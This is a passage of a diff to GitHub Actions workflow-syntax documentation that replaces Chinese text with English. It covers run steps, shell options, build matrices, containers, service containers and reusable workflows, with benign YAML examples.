更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”和“[加密密码](/actions/reference/encrypted-secrets)”。 +Your workflow must checkout the private repository and reference the action locally. Generate a personal access token and add the token as an encrypted secret. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)." -将示例中的 `PERSONAL_ACCESS_TOKEN` 替换为您的密钥名称。 +Replace `PERSONAL_ACCESS_TOKEN` in the example with the name of your secret. {% raw %} ```yaml @@ -847,20 +882,20 @@ jobs: ## `jobs..steps[*].run` -使用操作系统 shell 运行命令行程序。 如果不提供 `name`，步骤名称将默认为 `run` 命令中指定的文本。 +Runs command-line programs using the operating system's shell. If you do not provide a `name`, the step name will default to the text specified in the `run` command. -命令默认使用非登录 shell 运行。 您可以选择不同的 shell，也可以自定义用于运行命令的 shell。 For more information, see [`jobs..steps[*].shell`](#jobsjob_idstepsshell). +Commands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see [`jobs..steps[*].shell`](#jobsjob_idstepsshell). -每个 `run` 关键词代表运行器环境中一个新的进程和 shell。 当您提供多行命令时，每行都在同一个 shell 中运行。 例如： +Each `run` keyword represents a new process and shell in the runner environment. When you provide multi-line commands, each line runs in the same shell. For example: -* 单行命令： +* A single-line command: ```yaml - name: Install Dependencies run: npm install ``` -* 多行命令： +* A multi-line command: ```yaml - name: Clean install dependencies and build @@ -869,7 +904,7 @@ jobs: npm run build ``` -使用 `working-directory` 关键词，您可以指定运行命令的工作目录位置。 +Using the `working-directory` keyword, you can specify the working directory of where to run the command. ```yaml - name: Clean temp directory @@ -879,19 +914,19 @@ jobs: ## `jobs..steps[*].shell` -您可以使用 `shell` 关键词覆盖运行器操作系统中默认的 shell 设置。 您可以使用内置的 `shell` 关键词，也可以自定义 shell 选项集。 The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword. +You can override the default shell settings in the runner's operating system using the `shell` keyword. You can use built-in `shell` keywords, or you can define a custom set of shell options. The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword. -| 支持的平台 | `shell` 参数 | 描述 | 内部运行命令 | -| ------------- | ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------- | -| 所有 | `bash` | 非 Windows 平台上回退到 `sh` 的默认 shell。 指定 Windows 上的 bash shell 时，将使用 Git for Windows 随附的 bash shel。 | `bash --noprofile --norc -eo pipefail {0}` | -| 所有 | `pwsh` | PowerShell Core。 {% data variables.product.prodname_dotcom %} 将扩展名 `.ps1` 附加到您的脚本名称。 | `pwsh -command ". '{0}'"` | -| 所有 | `python` | 执行 python 命令。 | `python {0}` | -| Linux / macOS | `sh` | 未提供 shell 且 在路径中找不到 `bash` 时的非 Windows 平台的后退行为。 | `sh -e {0}` | -| Windows | `cmd` | {% data variables.product.prodname_dotcom %} 将扩展名 `.cmd` 附加到您的脚本名称并替换 `{0}`。 | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. | -| Windows | `pwsh` | 这是 Windows 上使用的默认 shell。 PowerShell Core。 {% data variables.product.prodname_dotcom %} 将扩展名 `.ps1` 附加到您的脚本名称。 如果自托管的 Windows 运行器没有安装 _PowerShell Core_，则使用 _PowerShell Desktop_ 代替。 | `pwsh -command ". '{0}'"`. | -| Windows | `powershell` | PowerShell 桌面。 {% data variables.product.prodname_dotcom %} 将扩展名 `.ps1` 附加到您的脚本名称。 | `powershell -command ". '{0}'"`. | +| Supported platform | `shell` parameter | Description | Command run internally | +|--------------------|-------------------|-------------|------------------------| +| All | `bash` | The default shell on non-Windows platforms with a fallback to `sh`. When specifying a bash shell on Windows, the bash shell included with Git for Windows is used. | `bash --noprofile --norc -eo pipefail {0}` | +| All | `pwsh` | The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `pwsh -command ". '{0}'"` | +| All | `python` | Executes the python command. | `python {0}` | +| Linux / macOS | `sh` | The fallback behavior for non-Windows platforms if no shell is provided and `bash` is not found in the path. | `sh -e {0}` | +| Windows | `cmd` | {% data variables.product.prodname_dotcom %} appends the extension `.cmd` to your script name and substitutes for `{0}`. | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. | +| Windows | `pwsh` | This is the default shell used on Windows. The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. If your self-hosted Windows runner does not have _PowerShell Core_ installed, then _PowerShell Desktop_ is used instead.| `pwsh -command ". '{0}'"`. | +| Windows | `powershell` | The PowerShell Desktop. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `powershell -command ". '{0}'"`. | -### 示例：使用 bash 运行脚本 +### Example: Running a script using bash ```yaml steps: @@ -900,7 +935,7 @@ steps: shell: bash ``` -### 示例：使用 Windows `cmd` 运行脚本 +### Example: Running a script using Windows `cmd` ```yaml steps: @@ -909,7 +944,7 @@ steps: shell: cmd ``` -### 示例：使用 PowerShell Core 运行脚本 +### Example: Running a script using PowerShell Core ```yaml steps: @@ -918,7 +953,7 @@ steps: shell: pwsh ``` -### 示例：使用 PowerShell 桌面运行脚本 +### Example: Using PowerShell Desktop to run a script ```yaml steps: @@ -927,7 +962,7 @@ steps: shell: powershell ``` -### 示例：运行 python 脚本 +### Example: Running a python script ```yaml steps: @@ -938,11 +973,11 @@ steps: shell: python ``` -### 自定义 shell +### Custom shell -您可以使用 `command […options] {0} [..more_options]` 将 `shell` 值设置为模板字符串。 {% data variables.product.prodname_dotcom %} 将字符串的第一个用空格分隔的词解释为命令，并在 `{0}` 处插入临时脚本的文件名。 +You can set the `shell` value to a template string using `command […options] {0} [..more_options]`. {% data variables.product.prodname_dotcom %} interprets the first whitespace-delimited word of the string as the command, and inserts the file name for the temporary script at `{0}`. -例如： +For example: ```yaml steps: @@ -952,38 +987,38 @@ steps: shell: perl {0} ``` -此示例中使用的命令 `perl` 必须安装在运行器上。 +The command used, `perl` in this example, must be installed on the runner. -{% ifversion ghae %}有关如何确定 {% data variables.actions.hosted_runner %} 已安装所需软件的说明，请参阅“[创建自定义映像](/actions/using-github-hosted-runners/creating-custom-images)”。 +{% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." {% else %} -有关 GitHub 托管运行器中所包含软件的信息，请参阅“[GitHub 托管运行器的规格](/actions/reference/specifications-for-github-hosted-runners#supported-software)”。 +For information about the software included on GitHub-hosted runners, see "[Specifications for GitHub-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)." {% endif %} -### 退出代码和错误操作首选项 +### Exit codes and error action preference -至于内置的 shell 关键词，我们提供由 {% data variables.product.prodname_dotcom %} 托管运行程序执行的以下默认值。 在运行 shell 脚本时，您应该使用这些指南。 +For built-in shell keywords, we provide the following defaults that are executed by {% data variables.product.prodname_dotcom %}-hosted runners. You should use these guidelines when running shell scripts. -- `bash`/`sh`： - - 使用 `set -eo pipefail` 的快速失败行为：`bash` 和内置 `shell` 的默认值。 它还是未在非 Windows 平台上提供选项时的默认值。 - - 您可以向 shell 选项提供模板字符串，以退出快速失败并接管全面控制权。 例如 `bash {0}`。 - - sh 类 shell 使用脚本中最后执行的命令的退出代码退出，也是操作的默认行为。 运行程序将根据此退出代码将步骤的状态报告为失败/成功。 +- `bash`/`sh`: + - Fail-fast behavior using `set -eo pipefail`: Default for `bash` and built-in `shell`. It is also the default when you don't provide an option on non-Windows platforms. + - You can opt out of fail-fast and take full control by providing a template string to the shell options. For example, `bash {0}`. + - sh-like shells exit with the exit code of the last command executed in a script, which is also the default behavior for actions. The runner will report the status of the step as fail/succeed based on this exit code. - `powershell`/`pwsh` - - 可能时的快速失败行为。 对于 `pwsh` 和 `powershell` 内置 shell，我们将 `$ErrorActionPreference = 'stop'` 附加到脚本内容。 - - 我们将 `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` 附加到 powershell 脚本，以使操作状态反映脚本的最后一个退出代码。 - - 用户可随时通过不使用内置 shell 并提供类似如下的自定义 shell 选项来退出：`pwsh -File {0}` 或 `powershell -Command "& '{0}'"`，具体取决于需求。 + - Fail-fast behavior when possible. For `pwsh` and `powershell` built-in shell, we will prepend `$ErrorActionPreference = 'stop'` to script contents. + - We append `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` to powershell scripts so action statuses reflect the script's last exit code. + - Users can always opt out by not using the built-in shell, and providing a custom shell option like: `pwsh -File {0}`, or `powershell -Command "& '{0}'"`, depending on need. - `cmd` - - 除了编写脚本来检查每个错误代码并相应地响应之外，似乎没有办法完全选择快速失败行为。 由于我们默认不能实际提供该行为，因此您需要将此行为写入脚本。 - - `cmd.exe` 在退出时带有其执行的最后一个程序的错误等级，并且会将错误代码返回到运行程序。 此行为在内部与上一个 `sh` 和 `pwsh` 默认行为一致，是 `cmd.exe` 的默认值，所以此行为保持不变。 + - There doesn't seem to be a way to fully opt into fail-fast behavior other than writing your script to check each error code and respond accordingly. Because we can't actually provide that behavior by default, you need to write this behavior into your script. + - `cmd.exe` will exit with the error level of the last program it executed, and it will return the error code to the runner. This behavior is internally consistent with the previous `sh` and `pwsh` default behavior and is the `cmd.exe` default, so this behavior remains intact. ## `jobs..steps[*].with` -输入参数的 `map` 由操作定义。 每个输入参数都是一个键/值对。 输入参数被设置为环境变量。 该变量的前缀为 `INPUT_`，并转换为大写。 +A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with `INPUT_` and converted to upper case. -### 示例 +### Example -定义 `hello_world` 操作所定义的三个输入参数（`first_name`、`middle_name` 和 `last_name`）。 这些输入变量将被 `hello-world` 操作作为 `INPUT_FIRST_NAME`、`INPUT_MIDDLE_NAME` 和 `INPUT_LAST_NAME` 环境变量使用。 +Defines the three input parameters (`first_name`, `middle_name`, and `last_name`) defined by the `hello_world` action. These input variables will be accessible to the `hello-world` action as `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME`, and `INPUT_LAST_NAME` environment variables. ```yaml jobs: @@ -999,9 +1034,9 @@ jobs: ## `jobs..steps[*].with.args` -`string` 定义 Docker 容器的输入。 {% data variables.product.prodname_dotcom %} 在容器启动时将 `args` 传递到容器的 `ENTRYPOINT`。 此参数不支持 `array of strings`。 +A `string` that defines the inputs for a Docker container. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. An `array of strings` is not supported by this parameter. -### 示例 +### Example {% raw %} ```yaml @@ -1014,17 +1049,17 @@ steps: ``` {% endraw %} -`args` 用来代替 `Dockerfile` 中的 `CMD` 指令。 如果在 `Dockerfile` 中使用 `CMD`，请遵循按偏好顺序排序的指导方针： +The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference: -1. 在操作的自述文件中记录必要的参数，并在 `CMD` 指令的中忽略它们。 -1. 使用默认值，允许不指定任何 `args` 即可使用操作。 -1. 如果操作显示 `--help` 标记或类似项，请将其用作默认值，以便操作自行记录。 +1. Document required arguments in the action's README and omit them from the `CMD` instruction. +1. Use defaults that allow using the action without specifying any `args`. +1. If the action exposes a `--help` flag, or something similar, use that as the default to make your action self-documenting. ## `jobs..steps[*].with.entrypoint` -覆盖 `Dockerfile` 中的 Docker `ENTRYPOINT`，或在未指定时设置它。 与包含 shell 和 exec 表单的 Docker `ENTRYPOINT` 指令不同，`entrypoint` 关键词只接受定义要运行的可执行文件的单个字符串。 +Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Unlike the Docker `ENTRYPOINT` instruction which has a shell and exec form, `entrypoint` keyword accepts only a single string defining the executable to be run. -### 示例 +### Example ```yaml steps: @@ -1034,17 +1069,17 @@ steps: entrypoint: /a/different/executable ``` -`entrypoint` 关键词旨在用于 Docker 容器操作，但您也可以将其用于未定义任何输入的 JavaScript 操作。 +The `entrypoint` keyword is meant to be used with Docker container actions, but you can also use it with JavaScript actions that don't define any inputs. ## `jobs..steps[*].env` -设置供步骤用于运行器环境的环境变量。 您也可以设置整个工作流程或某个作业的环境变量。 更多信息请参阅 [`env`](#env) 和 [`jobs..env`](#jobsjob_idenv)。 +Sets environment variables for steps to use in the runner environment. You can also set environment variables for the entire workflow or a job. For more information, see [`env`](#env) and [`jobs..env`](#jobsjob_idenv). {% data reusables.repositories.actions-env-var-note %} -公共操作可在自述文件中指定预期的环境变量。 如果要在环境变量中设置密码，必须使用 `secrets` 上下文进行设置。 For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)." +Public actions may specify expected environment variables in the README file. If you are setting a secret in an environment variable, you must set secrets using the `secrets` context. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)." -### 示例 +### Example {% raw %} ```yaml @@ -1059,37 +1094,37 @@ steps: ## `jobs..steps[*].continue-on-error` -防止步骤失败时作业也会失败。 设置为 `true` 以允许在此步骤失败时作业能够通过。 +Prevents a job from failing when a step fails. Set to `true` to allow a job to pass when this step fails. ## `jobs..steps[*].timeout-minutes` -终止进程之前运行该步骤的最大分钟数。 +The maximum number of minutes to run the step before killing the process. ## `jobs..timeout-minutes` -在 {% data variables.product.prodname_dotcom %} 自动取消运行之前可让作业运行的最大分钟数。 默认值：360 +The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360 -如果超时超过运行器的作业执行时限，作业将在达到执行时限时取消。 有关作业执行时限的更多信息，请参阅“[使用限制、计费和管理](/actions/reference/usage-limits-billing-and-administration#usage-limits)”。 +If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#usage-limits)." ## `jobs..strategy` -策略创建作业的构建矩阵。 您可以定义要在其中运行每项作业的不同变种。 +A strategy creates a build matrix for your jobs. You can define different variations to run each job in. ## `jobs..strategy.matrix` -您可以定义不同作业配置的矩阵。 矩阵允许您通过在单个作业定义中执行变量替换来创建多个作业。 例如，可以使用矩阵为多个受支持的编程语言、操作系统或工具版本创建作业。 矩阵重新使用作业的配置，并为您配置的每个矩阵创建作业。 +You can define a matrix of different job configurations. A matrix allows you to create multiple jobs by performing variable substitution in a single job definition. For example, you can use a matrix to create jobs for more than one supported version of a programming language, operating system, or tool. A matrix reuses the job's configuration and creates a job for each matrix you configure. {% data reusables.github-actions.usage-matrix-limits %} -您在 `matrix` 中定义的每个选项都有键和值。 定义的键将成为 `matrix` 上下文中的属性，您可以在工作流程文件的其他区域中引用该属性。 例如，如果定义包含操作系统数组的键 `os`，您可以使用 `matrix.os` 属性作为 `runs-on` 关键字的值，为每个操作系统创建一个作业。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts)”。 +Each option you define in the `matrix` has a key and value. The keys you define become properties in the `matrix` context and you can reference the property in other areas of your workflow file. For example, if you define the key `os` that contains an array of operating systems, you can use the `matrix.os` property as the value of the `runs-on` keyword to create a job for each operating system. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." -定义 `matrix` 事项的顺序。 定义的第一个选项将是工作流程中运行的第一个作业。 +The order that you define a `matrix` matters. The first option you define will be the first job that runs in your workflow. -### 示例：运行多个版本的 Node.js +### Example: Running multiple versions of Node.js -您可以提供配置选项阵列来指定矩阵。 例如，如果运行器支持 Node.js 版本 10、12 和 14，则您可以在 `matrix` 中指定这些版本的阵列。 +You can specify a matrix by supplying an array for the configuration options. For example, if the runner supports Node.js versions 10, 12, and 14, you could specify an array of those versions in the `matrix`. -此示例通过设置三个 Node.js 版本阵列的 `node` 键创建三个作业的矩阵。 为使用矩阵，示例将 `matrix.node` 上下文属性设置为 `setup-node` 操作的输入参数 `node-version`。 因此，将有三个作业运行，每个使用不同的 Node.js 版本。 +This example creates a matrix of three jobs by setting the `node` key to an array of three Node.js versions. To use the matrix, the example sets the `matrix.node` context property as the value of the `setup-node` action's input parameter `node-version`. As a result, three jobs will run, each using a different Node.js version. {% raw %} ```yaml @@ -1105,14 +1140,14 @@ steps: ``` {% endraw %} -`setup-node` 操作是在使用 {% data variables.product.prodname_dotcom %} 托管的运行器时建议用于配置 Node.js 版本的方式。 更多信息请参阅 [`setup-node`](https://github.com/actions/setup-node) 操作。 +The `setup-node` action is the recommended way to configure a Node.js version when using {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see the [`setup-node`](https://github.com/actions/setup-node) action. -### 示例：使用多个操作系统运行 +### Example: Running with multiple operating systems -您可以创建矩阵以在多个运行器操作系统上运行工作流程。 您也可以指定多个矩阵配置。 此示例创建包含 6 个作业的矩阵： +You can create a matrix to run workflows on more than one runner operating system. You can also specify more than one matrix configuration. This example creates a matrix of 6 jobs: -- 在 `os` 阵列中指定了 2 个操作系统 -- 在 `node` 阵列中指定了 3 个 Node.js 版本 +- 2 operating systems specified in the `os` array +- 3 Node.js versions specified in the `node` array {% data reusables.repositories.actions-matrix-builds-os %} @@ -1130,13 +1165,13 @@ steps: ``` {% endraw %} -{% ifversion ghae %}要查找 {% data variables.actions.hosted_runner %} 支持的配置选项，请参阅“[软件规格](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)”。 -{% else %}要查找 {% data variables.product.prodname_dotcom %} 托管的运行器支持的配置选项，请参阅“[{% data variables.product.prodname_dotcom %} 托管的运行器的虚拟环境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)”。 +{% ifversion ghae %}To find supported configuration options for {% data variables.actions.hosted_runner %}s, see "[Software specifications](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)." +{% else %}To find supported configuration options for {% data variables.product.prodname_dotcom %}-hosted runners, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)." {% endif %} -### 示例：在组合中包含附加值 +### Example: Including additional values into combinations -您可以将额外的配置选项添加到已经存在的构建矩阵作业中。 例如，如果要在作业使用 `windows-latest` 和 `node` 的版本 8 运行时使用 `npm` 的特定版本，您可以使用 `include` 指定该附加选项。 +You can add additional configuration options to a build matrix job that already exists. For example, if you want to use a specific version of `npm` when the job that uses `windows-latest` and version 8 of `node` runs, you can use `include` to specify that additional option. {% raw %} ```yaml @@ -1154,9 +1189,9 @@ strategy: ``` {% endraw %} -### 示例：包括新组合 +### Example: Including new combinations -您可以使用 `include` 将新作业添加到构建矩阵中。 任何不匹配包含配置都会添加到矩阵中。 例如，如果您想要使用 `node` 版本 14 在多个操作系统上构建，但在 Ubuntu 上需要一个使用节点版本 15 的额外实验性作业，则可使用 `include` 指定该额外作业。 +You can use `include` to add new jobs to a build matrix. Any unmatched include configurations are added to the matrix. For example, if you want to use `node` version 14 to build on multiple operating systems, but wanted one extra experimental job using node version 15 on Ubuntu, you can use `include` to specify that additional job. {% raw %} ```yaml @@ -1172,9 +1207,9 @@ strategy: ``` {% endraw %} -### 示例：从矩阵中排除配置 +### Example: Excluding configurations from a matrix -您可以使用 `exclude` 选项删除构建矩阵中定义的特定配置。 使用 `exclude` 删除由构建矩阵定义的作业。 作业数量是您提供的数组中所包括的操作系统 (`os`) 数量减去所有减项 (`exclude`) 后的叉积。 +You can remove a specific configurations defined in the build matrix using the `exclude` option. Using `exclude` removes a job defined by the build matrix. The number of jobs is the cross product of the number of operating systems (`os`) included in the arrays you provide, minus any subtractions (`exclude`). {% raw %} ```yaml @@ -1192,23 +1227,23 @@ strategy: {% note %} -**注意：**所有 `include` 组合在 `exclude` 后处理。 这允许您使用 `include` 添加回以前排除的组合。 +**Note:** All `include` combinations are processed after `exclude`. This allows you to use `include` to add back combinations that were previously excluded. {% endnote %} -#### 在矩阵中使用环境变量 +#### Using environment variables in a matrix -您可以使用 `include` 键为每个测试组合添加自定义环境变量。 然后，您可以在后面的步骤中引用自定义环境变量。 +You can add custom environment variables for each test combination by using the `include` key. You can then refer to the custom environment variables in a later step. {% data reusables.github-actions.matrix-variable-example %} ## `jobs..strategy.fail-fast` -设置为 `true` 时，如果任何 `matrix` 作业失败，{% data variables.product.prodname_dotcom %} 将取消所有进行中的作业。 默认值：`true` +When set to `true`, {% data variables.product.prodname_dotcom %} cancels all in-progress jobs if any `matrix` job fails. Default: `true` ## `jobs..strategy.max-parallel` -使用 `matrix` 作业策略时可同时运行的最大作业数。 默认情况下，{% data variables.product.prodname_dotcom %} 将最大化并发运行的作业数量，具体取决于 {% data variables.product.prodname_dotcom %} 托管虚拟机上可用的运行程序。 +The maximum number of jobs that can run simultaneously when using a `matrix` job strategy. By default, {% data variables.product.prodname_dotcom %} will maximize the number of jobs run in parallel depending on the available runners on {% data variables.product.prodname_dotcom %}-hosted virtual machines. ```yaml strategy: @@ -1217,11 +1252,11 @@ strategy: ## `jobs..continue-on-error` -防止工作流程运行在作业失败时失败。 设置为 `true` 以允许工作流程运行在此作业失败时通过。 +Prevents a workflow run from failing when a job fails. Set to `true` to allow a workflow run to pass when this job fails. -### 示例：防止特定失败的矩阵作业无法运行工作流程 +### Example: Preventing a specific failing matrix job from failing a workflow run -您可以允许作业矩阵中的特定任务失败，但工作流程运行不失败。 例如， 只允许 `node` 设置为 `15` 的实验性作业失败，而不允许工作流程运行失败。 +You can allow specific jobs in a job matrix to fail without failing the workflow run. For example, if you wanted to only allow an experimental job with `node` set to `15` to fail without failing the workflow run. {% raw %} ```yaml @@ -1242,11 +1277,11 @@ strategy: ## `jobs..container` -用于运行作业中尚未指定容器的任何步骤的容器。 如有步骤同时使用脚本和容器操作，则容器操作将运行为同一网络上使用相同卷挂载的同级容器。 +A container to run any steps in a job that don't already specify a container. If you have steps that use both script and container actions, the container actions will run as sibling containers on the same network with the same volume mounts. -若不设置 `container`，所有步骤将直接在 `runs-on` 指定的主机上运行，除非步骤引用已配置为在容器中运行的操作。 +If you do not set a `container`, all steps will run directly on the host specified by `runs-on` unless a step refers to an action configured to run in a container. -### 示例 +### Example ```yaml jobs: @@ -1262,7 +1297,7 @@ jobs: options: --cpus 1 ``` -只指定容器映像时，可以忽略 `image` 关键词。 +When you only specify a container image, you can omit the `image` keyword. ```yaml jobs: @@ -1272,13 +1307,13 @@ jobs: ## `jobs..container.image` -要用作运行操作的容器的 Docker 镜像。 The value can be the Docker Hub image name or a registry name. +The Docker image to use as the container to run the action. The value can be the Docker Hub image name or a registry name. ## `jobs..container.credentials` {% data reusables.actions.registry-credentials %} -### 示例 +### Example {% raw %} ```yaml @@ -1292,23 +1327,23 @@ container: ## `jobs..container.env` -设置容器中环境变量的 `map`。 +Sets a `map` of environment variables in the container. ## `jobs..container.ports` -设置要在容器上显示的端口 `array`。 +Sets an `array` of ports to expose on the container. ## `jobs..container.volumes` -设置要使用的容器卷的 `array`。 您可以使用卷分享作业中服务或其他步骤之间的数据。 可以指定命名的 Docker 卷、匿名的 Docker 卷或主机上的绑定挂载。 +Sets an `array` of volumes for the container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host. -要指定卷，需指定来源和目标路径： +To specify a volume, you specify the source and destination path: `:`. -`` 是主机上的卷名称或绝对路径，`` 是容器中的绝对路径。 +The `` is a volume name or an absolute path on the host machine, and `` is an absolute path in the container. -### 示例 +### Example ```yaml volumes: @@ -1319,11 +1354,11 @@ volumes: ## `jobs..container.options` -附加 Docker 容器资源选项。 有关选项列表，请参阅“[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)”。 +Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)." {% warning %} -**警告**：不支持 `--network` 选项。 +**Warning:** The `--network` option is not supported. {% endwarning %} @@ -1331,17 +1366,17 @@ volumes: {% data reusables.github-actions.docker-container-os-support %} -用于为工作流程中的作业托管服务容器。 服务容器可用于创建数据库或缓存服务（如 Redis）。 运行器自动创建 Docker 网络并管理服务容器的生命周期。 +Used to host service containers for a job in a workflow. Service containers are useful for creating databases or cache services like Redis. The runner automatically creates a Docker network and manages the life cycle of the service containers. -如果将作业配置为在容器中运行，或者步骤使用容器操作，则无需映射端口来访问服务或操作。 Docker 会自动在同一个 Docker 用户定义的桥接网络上的容器之间显示所有端口。 您可以直接引用服务容器的主机名。 主机名自动映射到为工作流程中的服务配置的标签名称。 +If you configure your job to run in a container, or your step uses container actions, you don't need to map ports to access the service or action. Docker automatically exposes all ports between containers on the same Docker user-defined bridge network. You can directly reference the service container by its hostname. The hostname is automatically mapped to the label name you configure for the service in the workflow. -如果配置作业直接在运行器机器上运行，且您的步骤不使用容器操作，则必须将任何必需的 Docker 服务容器端口映射到 Docker 主机（运行器机器）。 您可以使用 localhost 和映射的端口访问服务容器。 +If you configure the job to run directly on the runner machine and your step doesn't use a container action, you must map any required Docker service container ports to the Docker host (the runner machine). You can access the service container using localhost and the mapped port. -有关网络服务容器之间差异的更多信息，请参阅“[关于服务容器](/actions/automating-your-workflow-with-github-actions/about-service-containers)”。 +For more information about the differences between networking service containers, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers)." -### 示例：使用 localhost +### Example: Using localhost -此示例创建分别用于 nginx 和 redis 的两项服务。 指定 Docker 主机端口但不指定容器端口时，容器端口将随机分配给空闲端口。 {% data variables.product.prodname_dotcom %} 在 {% raw %}`${{job.services..ports}}`{% endraw %} 上下文中设置分配的容器端口。 在此示例中，可以使用 {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} 和 {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} 上下文访问服务容器端口。 +This example creates two services: nginx and redis. When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the {% raw %}`${{job.services..ports}}`{% endraw %} context. In this example, you can access the service container ports using the {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} and {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} contexts. ```yaml services: @@ -1359,13 +1394,13 @@ services: ## `jobs..services..image` -要用作运行操作的服务容器的 Docker 镜像。 The value can be the Docker Hub image name or a registry name. +The Docker image to use as the service container to run the action. The value can be the Docker Hub image name or a registry name. ## `jobs..services..credentials` {% data reusables.actions.registry-credentials %} -### 示例 +### Example {% raw %} ```yaml @@ -1385,23 +1420,23 @@ services: ## `jobs..services..env` -在服务容器中设置环境变量的 `map`。 +Sets a `map` of environment variables in the service container. ## `jobs..services..ports` -设置要在服务容器上显示的端口 `array`。 +Sets an `array` of ports to expose on the service container. ## `jobs..services..volumes` -设置要使用的服务容器卷的 `array`。 您可以使用卷分享作业中服务或其他步骤之间的数据。 可以指定命名的 Docker 卷、匿名的 Docker 卷或主机上的绑定挂载。 +Sets an `array` of volumes for the service container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host. -要指定卷，需指定来源和目标路径： +To specify a volume, you specify the source and destination path: `:`. -`` 是主机上的卷名称或绝对路径，`` 是容器中的绝对路径。 +The `` is a volume name or an absolute path on the host machine, and `` is an absolute path in the container. -### 示例 +### Example ```yaml volumes: @@ -1412,24 +1447,24 @@ volumes: ## `jobs..services..options` -附加 Docker 容器资源选项。 有关选项列表，请参阅“[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)”。 +Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)." {% warning %} -**警告**：不支持 `--network` 选项。 +**Warning:** The `--network` option is not supported. {% endwarning %} {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} ## `jobs..uses` -The location and version of a reusable workflow file to run as a job. +The location and version of a reusable workflow file to run as a job. `{owner}/{repo}/{path}/{filename}@{ref}` -`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. 更多信息请参阅“[GitHub Actions 的安全性增强](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)”。 +`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)." -### 示例 +### Example {% data reusables.actions.uses-keyword-example %} @@ -1443,7 +1478,7 @@ Any inputs that you pass must match the input specifications defined in the call Unlike [`jobs..steps[*].with`](#jobsjob_idstepswith), the inputs you pass with `jobs..with` are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the `inputs` context. -### 示例 +### Example ```yaml jobs: @@ -1465,7 +1500,7 @@ When a job is used to call a reusable workflow, you can use `secrets` to provide Any secrets that you pass must match the names defined in the called workflow. -### 示例 +### Example {% raw %} ```yaml @@ -1484,18 +1519,18 @@ A pair consisting of a string identifier for the secret and the value of the sec Allowed expression contexts: `github`, `needs`, and `secrets`. {% endif %} -## 过滤器模式备忘清单 +## Filter pattern cheat sheet -您可以在路径、分支和标记过滤器中使用特殊字符。 +You can use special characters in path, branch, and tag filters. -- `*`： 匹配零个或多个字符，但不匹配 `/` 字符。 例如，`Octo*` 匹配 `Octocat`。 -- `**`： 匹配零个或多个任何字符。 -- `?`：匹配零个或一个前缀字符。 -- `+`: 匹配一个或多个前置字符。 -- `[]` 匹配列在括号中或包含在范围内的一个字符。 范围只能包含 `a-z`、`A-Z` 和 `0-9`。 例如，范围 `[0-9a-z]` 匹配任何数字或小写字母。 例如，`[CB]at` 匹配 `Cat` 或 `Bat`，`[1-2]00` 匹配 `100` 和 `200`。 -- 